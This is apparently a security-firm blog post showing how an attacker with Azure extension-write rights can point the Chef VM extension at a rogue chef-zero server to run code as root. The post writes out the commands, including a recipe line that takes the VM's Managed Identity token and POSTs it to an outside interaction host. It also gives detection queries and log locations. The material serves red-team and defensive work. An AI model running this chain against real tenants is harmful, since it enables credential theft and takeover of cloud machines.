<style>
.prose pre.wp-block-preformatted :where(strong):not(:where([class~=not-prose] *)) {
color: inherit !important;
}
.single .prose .main pre.wp-block-preformatted {
font-family: "Source Code Pro", "Liberation Mono", "Courier New", Courier, monospace;
font-size: 15px;
font-weight:400 !important;;
line-height: 24px;
background-color: #1a1a1a;
border-radius:3px !important;
margin-bottom:1.25rem !important;
}
.single .main-content.prose ul.even-spaced li {font-size:15px; }
.single .main-content.prose ul.even-spaced:has(ul > li) li { padding-top:.75rem !important; }
.single .main-content.prose ul.even-spaced > li:first-child { padding-top:0rem !important; }
.single .main-content.prose ul.even-spaced:has(ul) ul { padding-bottom: 0rem !important; padding-left: 1rem !important; }
.single .main-content.prose ol.even-spaced:has(ol > li) li { padding-top:.5rem !important; }
.single .main-content.prose ol.even-spaced > li:first-child { padding-top:0rem !important; }
.single .main-content.prose ol.even-spaced ol > li:first-child { padding-top:1rem !important; }
.single .main-content.prose ol.even-spaced:has(ol) ol { padding-bottom: 0.5rem !important; }
.prose .main .wp-block-columns.seperator { margin:4rem 0; padding: 1.5rem 0; border-bottom:2px solid #e7e7e7; } .single .main-content.technical-blog.prose p { line-height: 1.85rem; font-size: 17px; } .single .main-content.technical-blog.prose ul.wp-block-list li, .single .main-content.technical-blog.prose ol.wp-block-list li { font-size: 17px; line-height: 1.75rem; padding-top:4px; padding-bottom:5px;} .single .main-content.prose ul.even-spaced li { list-style-type: square; }
.single .main-content.prose ul.even-left { padding-left:1rem !important; }
.single .main-content.prose ul.even-spaced.zero-left.list-none.li-15 li { list-style:square; font-size:15px; line-height:1.6; padding-right:5px; } .single .main-content.prose ul.even-spaced.zero-left.list-none.li-15 li::marker { color: #f56a00; } .single .main-content.prose ul.even-spaced.zero-left.list-none.li-15 { padding-left:1.2rem !important; }
.single .main-content.technical-blog code {
border-radius: 2px;
background-color: #333;
color:#fff;
display: inline-block;
padding: 1px 4px 0;
font-family: "Source Code Pro", "Liberation Mono", "Courier New", Courier, monospace;
line-height: 1.35;
font-size: 14px;
font-weight: 300;
vertical-align: text-top;
}
</style>
<h3 id="h-background" class="wp-block-heading">Background</h3>
<p class="wp-block-paragraph">In our previous blogs, we have covered different methods of executing code on Azure Virtual machines such as through <a href="https://www.netspi.com/blog/technical-blog/cloud-pentesting/attacking-azure-with-custom-script-extensions/">Custom Script Extensions</a>, <a href="https://www.netspi.com/blog/technical-blog/cloud-pentesting/azure-persistence-with-desired-state-configurations/">Desired State Configurations</a> and more recently, <a href="https://www.netspi.com/blog/technical-blog/adversary-simulation/7-ways-to-execute-command-on-azure-virtual-machine-virtual-machine-scale-sets/">7 Ways to Execute Command on Azure Virtual Machines & Virtual Machine Scale Sets</a>. This blog is an extension of those, focussing on abusing legitimate third-party extensions to achieve code execution using a method that is more likely to be undetected.</p>
<h3 id="h-what-are-third-party-extensions" class="wp-block-heading">What are third-party extensions?</h3>
<p class="wp-block-paragraph">In general, extensions are small applications or scripts that provide post-deployment configuration and automation on Azure Virtual Machines. As mentioned above, Microsoft enables administrators to deploy custom Bash or PowerShell scripts to Virtual Machines through the built-in “Custom Script Extension”. Third-party extensions are no different, they are just created and published by external vendors. An attacker with <code>Microsoft.Compute/virtualMachines/extensions/write</code> could deploy these legitimate extensions, which may blend in with regular administrative activities, and configure them in a way to achieve arbitrary code execution on the devices and maintain remote access for extended periods of time.</p>
<div class="wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex">
<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow">
<p class="wp-block-paragraph">There are two main third-party extensions that we will cover across two separate blog posts:</p>
<ul class="wp-block-list even-spaced md:col-count-1 sm:col-count-1 col-count-1 icon-title-bullets square-orange list-squares">
<li class="text-[17px] icon-title-bullet pt-2"><a href="https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/chef" type="link" id="https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/chef" target="_blank" rel="noreferrer noopener" class="h5">Chef</a> <br><a style="text-decoration:none;" href="https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/chef" target="_blank" rel="noreferrer noopener" class="text-[15px] font-light text-slate">https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/chef</a><br> </li>
<li class="text-[17px] icon-title-bullet pt-2 pb-3" style="font-size:15px"><a href="https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/salt-minion" class="h5">Salt Minion</a> <br><a style="text-decoration:none;" href="https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/salt-minion" class="text-[15px] font-light text-slate">https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/salt-minion</a><br><em>Will be covered in part 2</em></li>
</ul>
<p class="wp-block-paragraph">Note that both of these extensions are published through the Azure marketplace.</p>
</div>
<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow" style="flex-basis:33%">
<figure class="wp-block-image size-large"><img decoding="async" src="https://www.netspi.com/wp-content/uploads/2026/07/marketplace-extensions.png" alt=""/></figure>
</div>
</div>
<h2 id="h-rogue-chef-server-attack" class="wp-block-heading h3-larger">Rogue Chef server attack</h2>
<p class="wp-block-paragraph">Chef is a configuration management tool that automates the installation, registration, and initial configuration of the Chef client on Azure virtual machines. It is available on the Azure marketplace and once installed allows administrators to connect their servers to their Chef server where they can then deploy configuration policies to manage various aspects of the device. It’s important to know that in order for this attack to work, Chef server must be publicly available on the internet, to at least your target machine.</p>
<h2 id="h-glossary" class="wp-block-heading h3-large pt-3">Glossary</h2>
<p class="text-[17px] wp-block-paragraph">Before we continue there is some terminology to define that will help better understand what we are doing:</p>
<div class="wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex">
<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow">
<ul class="wp-block-list ml-2 pl-5 md:col-count-1 sm:col-count-1 col-count-1 icon-title-bullets square-orange list-squares">
<li class="text-[17px] icon-title-bullet pt-2"><strong>Chef Infra Server (Chef Server) </strong><br>The central hub and authoritative “source of truth” in the Chef IT automation and configuration management ecosystem. It stores configuration policies, “cookbooks”, node metadata, managing secure communication between workstations and the servers or virtual machines you manage</li>
<li class="text-[17px] icon-title-bullet pt-3"><strong>Chef Infra Client <br></strong>The agent software running on every managed Node. It continuously pulls instructions from the Chef Server, assesses the node’s current state, and makes necessary updates</li>
<li class="text-[17px] icon-title-bullet pt-3"><strong>Cookbook</strong><br>The base unit of organization in Chef. It packages together multiple related Recipes, templates, attributes, and metadata for easy sharing and reuse</li>
</ul>
</div>
<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow">
<ul class="wp-block-list md:col-count-1 sm:col-count-1 col-count-1 icon-title-bullets square-orange list-squares">
<li class="text-[17px] icon-title-bullet pt-2 pb-3"><strong>Resource<br></strong>The fundamental unit of configuration (e.g., declaring that a specific file must exist or a service must be running)</li>
<li class="text-[17px] icon-title-bullet py-3"><strong>Recipe</strong><br>Written in Ruby, a recipe is a collection of Resources that describes the desired state for a specific part of your system</li>
<li class="text-[17px] icon-title-bullet py-3"><strong>Knife</strong><br>A command-line tool used from your workstation to upload cookbooks and manage the Chef Server</li>
<li class="text-[17px] icon-title-bullet py-3"><strong>Node<br></strong> Any individual server, virtual machine, cloud instance, or device being managed by Chef</li>
</ul>
</div>
</div>
<h2 id="h-overview" class="wp-block-heading h3-larger">Overview</h2>
<p class="pb-0 mb-0 wp-block-paragraph">The general outline for this attack is as follows</p>
<!--?xml version="1.0"?-->
<svg viewBox="0 0 1120 640" class="uag-hide-mob" style="width:100%; height:auto; display:block; background:transparent;" xmlns="http://www.w3.org/2000/svg" font-family="'IBM Plex Mono', monospace">
<title>Azure Chef Server Attack Diagram</title>
<defs>
<marker id="arrow-red-3b" viewBox="0 0 10 10" refX="8" refY="5" markerWidth="7" markerHeight="7" orient="auto-start-reverse">
<path d="M0,0 L10,5 L0,10 z" fill="#d1551f"></path>
</marker>
<marker id="arrow-neutral-3b" viewBox="0 0 10 10" refX="8" refY="5" markerWidth="7" markerHeight="7" orient="auto-start-reverse">
<path d="M0,0 L10,5 L0,10 z" fill="#142136"></path>
</marker>
</defs>
<line x1="300" y1="110" x2="695" y2="110" stroke="#d1551f" stroke-width="2.5" marker-end="url(#arrow-red-3b)"></line>
<line x1="890" y1="182" x2="890" y2="338" stroke="#142136" stroke-width="2.5" marker-end="url(#arrow-neutral-3b)"></line>
<line x1="700" y1="430" x2="305" y2="430" stroke="#142136" stroke-width="2.5" marker-end="url(#arrow-neutral-3b)"></line>
<line x1="300" y1="505" x2="695" y2="505" stroke="#d1551f" stroke-width="2.5" marker-end="url(#arrow-red-3b)"></line>
<rect x="40" y="100" width="260" height="460" rx="4" fill="white" stroke="#d1551f" stroke-width="2"></rect>
<rect x="700" y="40" width="380" height="140" rx="4" fill="white" stroke="#142136" stroke-width="2"></rect>
<rect x="700" y="340" width="380" height="260" rx="4" fill="white" stroke="#142136" stroke-width="2"></rect>
<line x1="40" y1="146" x2="300" y2="146" stroke="#d1551f" stroke-width="1.5"></line>
<text x="58" y="132" font-size="15" font-weight="700" letter-spacing="1" fill="#b8451a">ATTACKER</text>
<text x="58" y="176" font-size="13.5" fill="#1c2c46">
<tspan x="58" dy="0">Rogue Chef Server</tspan>
<tspan x="58" dy="20">with malicious</tspan>
<tspan x="58" dy="20">cookbook</tspan>
</text>
<text x="890" y="116" font-size="16" font-weight="700" letter-spacing="1" fill="#142136" text-anchor="middle">AZURE CONTROL PLANE</text>
<text x="890" y="463" font-size="16" font-weight="700" letter-spacing="1" fill="#142136" text-anchor="middle">TARGET VM</text>
<text x="890" y="488" font-size="13.5" fill="#24354f" text-anchor="middle">Executes payload as root</text>
<text x="497" y="95" font-size="13" font-weight="600" fill="#b8451a" text-anchor="middle">extensions/write</text>
<text x="905" y="256" font-size="13" font-weight="600" fill="#142136">VM Agent</text>
<text x="497" y="400" font-size="13" font-weight="600" fill="#142136" text-anchor="middle">
<tspan x="497" dy="0">registers & pulls</tspan>
<tspan x="497" dy="18">cookbook</tspan>
</text>
<text x="497" y="530" font-size="13" font-weight="600" fill="#b8451a" text-anchor="middle">Sends cookbook</text>
</svg>
<figure data-wp-context="{"imageId":"6afb58b49664f"}" data-wp-interactive="core/image" data-wp-key="6afb58b49664f" class="wp-block-image size-full is-resized uag-hide-desktop uag-hide-tab wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on--click="actions.showLightbox" data-wp-on--load="callbacks.setButtonStyles" data-wp-on--pointerdown="actions.preloadImage" data-wp-on--pointerenter="actions.preloadImageWithDelay" data-wp-on--pointerleave="actions.cancelPreload" data-wp-on-window--resize="callbacks.setButtonStyles" src="https://www.netspi.com/wp-content/uploads/2026/07/chef-server-attack-diagram-no-bg.svg" alt="" class="wp-image-33840" style="aspect-ratio:1.7500519858598462;width:1216px;height:auto"/><button
class="lightbox-trigger"
type="button"
aria-haspopup="dialog"
data-wp-bind--aria-label="state.thisImage.triggerButtonAriaLabel"
data-wp-init="callbacks.initTriggerButton"
data-wp-on--click="actions.showLightbox"
data-wp-style--right="state.thisImage.buttonRight"
data-wp-style--top="state.thisImage.buttonTop"
>
<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewBox="0 0 12 12">
<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" />
</svg>
</button></figure>
<h2 id="h-step-1-stand-up-a-rogue-chef-server" class="wp-block-heading h3-larger">Step 1 – Stand up a rogue Chef Server</h2>
<p class="wp-block-paragraph">Generally, Chef is a licensed product, which makes it slightly more difficult for an attacker to conduct this attack, but there are a few methods to achieve our objectives still:</p>
<ul class="wp-block-list">
<li>Use the free trial for the hosted cloud server – Sign up <a href="https://api.chef.io/signup">here</a></li>
<li>Get a trial license and deploy Chef Server yourself – Navigate to the <a href="https://www.chef.io/downloads">Chef downloads</a> page and sign up to the “For Open Source Users”</li>
<li>Use <a href="https://github.com/chef/chef-zero">chef-zero</a> – This is a stripped back, simple, in-memory Chef server that is designed to be used for quick testing or during development.</li>
</ul>
<p class="wp-block-paragraph">In this example we will be using <code>chef-zero</code> because it is the simplest of the three examples and the attack premise is identical.</p>
<section
id="details-card-block_83e26d1a96a970934f167d86bfee033c"
class="details-card px-3 bg-white/50 dc-align-start dc-accent-left py-2"
style="--dc-accent-color:#f56a00;--dc-accent-thickness:4px;">
<div class="container">
<div class="max-w-[90%] sm:max-w-[40rem] md:max-w-[54.5rem] lg:max-w-[67.5rem] mx-auto">
<div class="dc-items divide-y divide-white/10">
<div class="dc-item flex items-center gap-5 py-2 " style="--dc-img-size:32px;--dc-label-size:13px;--dc-val-size:18px;">
<div class="dc-item-image shrink-0">
<img
src="https://www.netspi.com/wp-content/uploads/2026/04/svgexport-75.svg"
class="block object-contain dc-item-image__img"
alt=""
/>
</div>
<div class="dc-item-content flex flex-col">
<span class="dc-item-value font-medium leading-snug">
chef-zero has no input validation, authentication or authorization. Use with caution. </span>
</div>
</div>
</div>
</div>
</div>
<div class="dc-accent-bar dc-accent-bar--left" aria-hidden="true"></div>
</section>
<div class="wp-block-columns seperator is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex">
<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow">
<h4 id="h-installing-chef-zero" class="wp-block-heading mt-2 pt-3">Installing chef-zero</h4>
<p class="pt-0 pb-0 mb-0 wp-block-paragraph">Simply, chef-zero can be installed as a Ruby Gem.</p>
<pre class="wp-block-preformatted bash"># Install on your attacking machine
gem install chef-zero</pre>
</div>
<div class="wp-block-column is-vertically-aligned-bottom is-layout-flow wp-block-column-is-layout-flow">
<p class="pt-0 pb-0 mb-0 wp-block-paragraph">Once installed, it can be started with the following command.</p>
<pre class="wp-block-preformatted bash"># Start it listening on all interfaces
chef-zero --host 0.0.0.0 --port 443</pre>
</div>
</div>
<h2 id="h-step-2-create-a-malicious-cookbook" class="wp-block-heading h3-larger pt-5">Step 2 – Create a malicious cookbook</h2>
<p class="wp-block-paragraph">For this demonstration the cookbook will capture an access token of the Managed Identity attached to the VM and send it to an out-of-band interaction tool.</p>
<p class="wp-block-paragraph">Firstly, on the attacking machine, we need to run the following commands to create the payload.</p>
<pre class="wp-block-preformatted bash">mkdir -p cookbooks/netspi/recipes
cat > cookbooks/netspi/recipes/default.rb << 'EOF'
execute 'payload' do
command 'curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | curl -s -X POST -H "Content-Type: application/json" -d @- https://ptmhkh6nu50o5rtsgqkhbu908rei28qx.oastify.com'
action :run
end
EOF</pre>
<p class="wp-block-paragraph">You might also need a <code>metadata.rb</code> file. Sometimes I have found when trying to upload it complains if it is not present.</p>
<pre class="wp-block-preformatted bash">cat > ./cookbooks/netspi/metadata.rb << 'EOF'
name 'netspi'
maintainer 'netspi'
maintainer_email 'netspi@example.com'
license 'all_rights_reserved'
description 'Test cookbook'
version '0.0.0'
EOF</pre>
<h4 id="h-upload-it-to-your-rogue-server" class="wp-block-heading">Upload it to your rogue server:</h4>
<p class="wp-block-paragraph">As mentioned earlier, <code>chef-zero</code> has no authentication or authorization, but it still requires a private key for message signing.</p>
<pre class="wp-block-preformatted bash">openssl genrsa -out ./dummy.pem 2048</pre>
<p class="wp-block-paragraph">Once generated the cookbook can be uploaded with <code>knife</code>, which needs to be installed first via the following command:</p>
<pre class="wp-block-preformatted bash"># Download the Debian/Ubuntu package from Chef's official releases
curl -L https://omnitruck.chef.io/install.sh | sudo bash -s -- -P chef-workstation</pre>
<p class="wp-block-paragraph">The script is a bash helper from Chef that determines what Chef workstation package your system needs depending on your OS and architecture.</p>
<pre class="wp-block-preformatted pt-0 mt-1">https://omnitruck.chef.io/{channel}/{project}/metadata?v={version}&p={platform}&pv={platform_version}&m={machine}</pre>
<p class="wp-block-paragraph"> The script generates a url with {parameters} like above, to get a package download link and install with the OS’s relevant package manager.</p>
<pre class="wp-block-preformatted bash">curl "https://omnitruck.chef.io/stable/chef-workstation/metadata?v=&p=debian&pv=13&m=x86_64"
sha1 f6bb5ee20d1de5a120bde6add0d4a22c7349fb23
sha256 605ed97f53353ac1fb77e89973761c1aad0a327e8399d7aad2cf1bb5ab334165
url https://packages.chef.io/files/stable/chef-workstation/25.14.2/debian/11/chef-workstation_25.14.2-1_amd64.deb
version 25.14.2</pre>
<div class="wp-block-columns seperator pb-12 is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex">
<div class="wp-block-column px-2 pl-0 is-layout-flow wp-block-column-is-layout-flow">
<h4 id="h-once-chef-workstation-is-installed" class="wp-block-heading mb-0 pt-0">Once <em> chef-workstation</em> is installed:</h4>
<p class="pb-0 mb-1 pt-0 mt-0 wp-block-paragraph">Use the <code>knife</code> command to upload the cookbook:</p>
<pre class="wp-block-preformatted bash mt-3 pt-0">knife cookbook upload netspi \<br> --server-url http://<your-ip>:443 \<br> --key ./dummy.pem \<br> --user admin \<br> --cookbook-path ./cookbooks</pre>
<p class="wp-block-paragraph">and <code>show</code> to confirm the upload was successful:</p>
<pre class="wp-block-preformatted bash mt-0">knife cookbook show netspi \<br> --server-url http://<your-ip>:443 \<br> --key ./dummy.pem \<br> --user admin<br>netspi 0.0.0</pre>
</div>
<div class="wp-block-column is-vertically-aligned-bottom is-layout-flow wp-block-column-is-layout-flow" style="flex-basis:60%">
<p class="has-text-align-center pb-0 mb-0 wp-block-paragraph">Alternatively <code>knife raw</code> can be used, with details on where the cookbook is hosted:</p>
<pre class="wp-block-preformatted bash mt-3">knife raw /cookbooks \<br> --server-url http://<your-ip>:443 \<br> --key dummy.pem \<br> --user admin<br><br> { <br> "netspi": {<br> "url": "http://<your-ip>:443/cookbooks/netspi",<br> "versions": [{<br> "url": "http://<your-ip>:443/cookbooks/netspi/0.0.0", <br> "version": "0.0.0" <br> }] <br> }<br> }</pre>
</div>
</div>
<h2 id="h-step-3-execute-the-cookbook" class="wp-block-heading h3-larger pb-3 has-custom-css wp-custom-css-e59f23cb">Step 3 – Execute the cookbook</h2>
<div class="wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex">
<div class="wp-block-column pt-3 px-2 pl-0 is-layout-flow wp-block-column-is-layout-flow">
<p class="p-1 pl-0 pt-0 wp-block-paragraph">Now we are ready to execute the cookbook on the device by creating the extension. It looks slightly different for Windows/ Linux, but I have provided both depending on the OS you are targeting. We need a dummy private key again to do this, but we can use the one created earlier and put it into a JSON object like so:</p>
</div>
<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow" style="flex-basis:47%">
<pre class="wp-block-preformatted bash mt-0 pt-0">python3 -c "
import json
with open('dummy.pem') as f:
key = f.read()
print(json.dumps({'validation_key': key}))
" > protected.json</pre>
</div>
</div>
<div class="wp-block-columns seperator mb-6 is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex">
<div class="wp-block-column px-2 is-layout-flow wp-block-column-is-layout-flow">
<h4 id="h-windows" class="wp-block-heading">Windows</h4>
<pre class="wp-block-preformatted bash">az vm extension set \<br> --resource-group <rg-name> \<br> --vm-name <vm-name> \<br> --name ChefClient \<br> --publisher Chef.Bootstrap.WindowsAzure \<br> --version 1210.13 \<br> --settings '{<br> "bootstrap_options": {<br> "chef_server_url": "http://<your-ip>:443",<br> "validation_client_name": "chef-validator"<br> },<br> "CHEF_LICENSE": "accept-no-persist",<br> "runlist": "recipe[netspi::default]",<br> "chef_node_name": "azvm"<br> }' \<br> --protected-settings protected.json</pre>
</div>
<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow">
<h4 id="h-linux" class="wp-block-heading">Linux</h4>
<pre class="wp-block-preformatted bash">az vm extension set \<br> --resource-group <your-rg> \<br> --vm-name <your-vm> \<br> --name LinuxChefClient \<br> --publisher Chef.Bootstrap.WindowsAzure \<br> --version 1210.13 \<br> --settings '{<br> "bootstrap_options": {<br> "chef_server_url": "http://<your-ip>:443",<br> "validation_client_name": "chef-validator"<br> },<br> "CHEF_LICENSE": "accept-no-persist",<br> "runlist": "recipe[netspi::default]",<br> "chef_node_name": "azvm"<br> }' \<br> --protected-settings protected.json</pre>
</div>
</div>
<div class="wp-block-group pt-6"><div class="wp-block-group__inner-container is-layout-constrained wp-block-group-is-layout-constrained">
<h2 id="h-step-4-check-the-extension-status-for-confirmation" class="wp-block-heading h3-larger pt-6">Step 4 – Check the extension status for confirmation</h2>
<p class="wp-block-paragraph">To confirm if the execution was successful you can go to the extensions tab on the VM resource in the portal, or by using the Az CLI</p>
</div></div>
<div class="wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex">
<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow">
<h4 id="h-windows-0" class="wp-block-heading">Windows</h4>
<pre class="wp-block-preformatted bash">az vm extension show \
--resource-group <rg-name> \
--vm-name <vm-name> \
--name ChefClient \</pre>
</div>
<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow">
<h4 id="h-linux-0" class="wp-block-heading">Linux</h4>
<pre class="wp-block-preformatted bash">az vm extension show \
--resource-group <rg-name> \
--vm-name <vm-name> \
--name LinuxChefClient \</pre>
</div>
</div>
<div class="wp-block-columns seperator mb-6 is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex">
<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow">
<p class="wp-block-paragraph">This might take a few minutes to complete, but once done you can check it was successful by going back to Burp collaborator (or your specific tool for detecting out-of-band interactions) to see the request recieved and the access token captured.</p>
<figure data-wp-context="{"imageId":"6afb58b49867e"}" data-wp-interactive="core/image" data-wp-key="6afb58b49867e" class="wp-block-image size-large px-8 pl-0 is-style-default mb-8 wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on--click="actions.showLightbox" data-wp-on--load="callbacks.setButtonStyles" data-wp-on--pointerdown="actions.preloadImage" data-wp-on--pointerenter="actions.preloadImageWithDelay" data-wp-on--pointerleave="actions.cancelPreload" data-wp-on-window--resize="callbacks.setButtonStyles" src="https://www.netspi.com/wp-content/uploads/2026/07/salt-access-token-collaborator-edited.png" alt=""/><button
class="lightbox-trigger"
type="button"
aria-haspopup="dialog"
data-wp-bind--aria-label="state.thisImage.triggerButtonAriaLabel"
data-wp-init="callbacks.initTriggerButton"
data-wp-on--click="actions.showLightbox"
data-wp-style--right="state.thisImage.buttonRight"
data-wp-style--top="state.thisImage.buttonTop"
>
<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewBox="0 0 12 12">
<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" />
</svg>
</button></figure>
</div>
</div>
<h2 id="h-detection-amp-prevention-opportunities" class="wp-block-heading h3-larger pt-6">Detection & Prevention Opportunities</h2>
<div class="wp-block-columns gap-2 is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex">
<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow">
<p class="px-6 pl-0 wp-block-paragraph">As far as built in user roles go, the following have the <code>Microsoft.Compute/virtualMachines/extensions/write</code> permissions necessary to carry out this attack:</p>
<ul class="wp-block-list">
<li>Owner</li>
<li>Contributor</li>
<li>Log Analytics Contributor</li>
<li>Virtual Machine Contributor</li>
</ul>
<details class="wp-block-details text-[16px] font-medium pt-2 is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Less known or used roles with the ability to write extensions:</strong></summary>
<ul class="wp-block-list">
<li>Avere Contributor</li>
<li>Azure Center for SAP solutions service role</li>
<li>Defender Servers P1 & P2</li>
<li>Defender SQL Servers On Machines</li>
<li>Desktop Virtualization Virtual Machine Contributor</li>
<li>Service Group Administrator</li>
<li>Service Group Contributor</li>
<li>VM Restore Operator</li>
</ul>
</details>
</div>
<div class="wp-block-column is-vertically-aligned-stretch is-layout-flow wp-block-column-is-layout-flow">
<p class="wp-block-paragraph">This highlights the importance of limiting role assignments where possible and not just focusing on the obvious privileged roles like Owner and User Access Administrator. This is especially true for sensitive assets. On client engagements it is common to see Domain Controllers deployed as Azure Virtual Machines. Any principal with one of the roles listed above or the ability to execute commands through other means on these systems is effectively a Domain Administrator.</p>
<p class="wp-block-paragraph">The main way to detect this attack from purely an Azure logging perspective is monitoring the Activity Log for these actions: </p>
<ul class="wp-block-list even-left">
<li><code>Microsoft.ClassicCompute/virtualMachines/extensions/write</code> </li>
<li><code>Microsoft.Compute/virtualMachines/extensions/write</code></li>
</ul>
</div>
</div>
<h2 id="h-azure-activity-log" class="wp-block-heading h3-large">Azure Activity Log</h2>
<p class="wp-block-paragraph">The Azure activity log should act as your first layer of detection to identify if Chef has been installed on a device.</p>
<pre class="wp-block-preformatted generic">AzureActivity
| where OperationNameValue == "MICROSOFT.COMPUTE/VIRTUALMACHINES/EXTENSIONS/WRITE"
| extend PropertiesJson = parse_json(Properties)
| where PropertiesJson.resource has_any ("linuxchefclient","windowschefclient")
| project TimeGenerated, ActivityStatusValue, ActivitySubstatusValue, Caller, CallerIpAddress, ResourceGroup, Resource = tostring(PropertiesJson.resource), CorrelationId</pre>
<figure data-wp-context="{"imageId":"6afb58b499218"}" data-wp-interactive="core/image" data-wp-key="6afb58b499218" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on--click="actions.showLightbox" data-wp-on--load="callbacks.setButtonStyles" data-wp-on--pointerdown="actions.preloadImage" data-wp-on--pointerenter="actions.preloadImageWithDelay" data-wp-on--pointerleave="actions.cancelPreload" data-wp-on-window--resize="callbacks.setButtonStyles" src="https://www.netspi.com/wp-content/uploads/2026/07/kql-logs-salt.png" alt=""/><button
class="lightbox-trigger"
type="button"
aria-haspopup="dialog"
data-wp-bind--aria-label="state.thisImage.triggerButtonAriaLabel"
data-wp-init="callbacks.initTriggerButton"
data-wp-on--click="actions.showLightbox"
data-wp-style--right="state.thisImage.buttonRight"
data-wp-style--top="state.thisImage.buttonTop"
>
<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewBox="0 0 12 12">
<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" />
</svg>
</button></figure>
<h2 id="h-log-files" class="wp-block-heading h3-larger">Log Files</h2>
<p class="wp-block-paragraph">If you have access to the host, the following are key log sources to help provide additional context:</p>
<h3 id="h-linux-logs" class="wp-block-heading">Linux Logs</h3>
<ul class="wp-block-list">
<li><code>/var/lib/waagent/Chef.Bootstrap.WindowsAzure.LinuxChefClient-<version>/status/0.status</code></li>
<li><code>/var/log/azure/Chef.Bootstrap.WindowsAzure.LinuxChefClient/chef-client.log</code></li>
<li><code>/var/log/waagent.log</code></li>
</ul>
<p class="wp-block-paragraph">Once you are aware that Chef has been installed on a Virtual Machine you can grab the IP address or FQDN of the Chef server URL. If you use Chef in your environment you can compare this with your list of known Chef servers. If there is not a match you know that this is likely a malicious Chef server.</p>
<pre class="wp-block-preformatted bash">cat /var/lib/waagent/Chef.Bootstrap.WindowsAzure.LinuxChefClient-1210.14.1.2/config/0.settings
{
"runtimeSettings": [
{
"handlerSettings": {
"publicSettings": {
"bootstrap_options": {
"chef_server_url": "http://13.60.214.35:443",
"validation_client_name": "chef-validator"
},
"CHEF_LICENSE": "accept-no-persist",
"runlist": "recipe[netspi::default]",
"chef_node_name": "azvm"
},
"protectedSettings": "[...]",
"protectedSettingsCertThumbprint": "[...]"
}
}
</pre>
<p class="py-3 pb-4 wp-block-paragraph">The Chef client log is also a good source of information as it provides details about what the cookbook did and whether it was successful or not.</p>
<pre class="wp-block-preformatted bash">cat /var/log/azure/Chef.Bootstrap.WindowsAzure.LinuxChefClient/chef-client.log
# Logfile created on 2026-07-01 15:26:31 +0000 by logger.rb/v1.5.3
[...]
Resolving cookbooks for run list: ["netspi::default"]
Synchronizing cookbooks:
- netspi (0.1.0)
Installing cookbook gem dependencies:
Compiling cookbooks...
Recipe: netspi::default
* execute[payload] action run
- execute curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | curl -s -X POST -H "Content-Type: application/json" -d @- https://ptmhkh6nu50o5rtsgqkhbu908rei28qx.oastify.com</pre>
<h3 id="h-windows-logs" class="wp-block-heading">Windows Logs</h3>
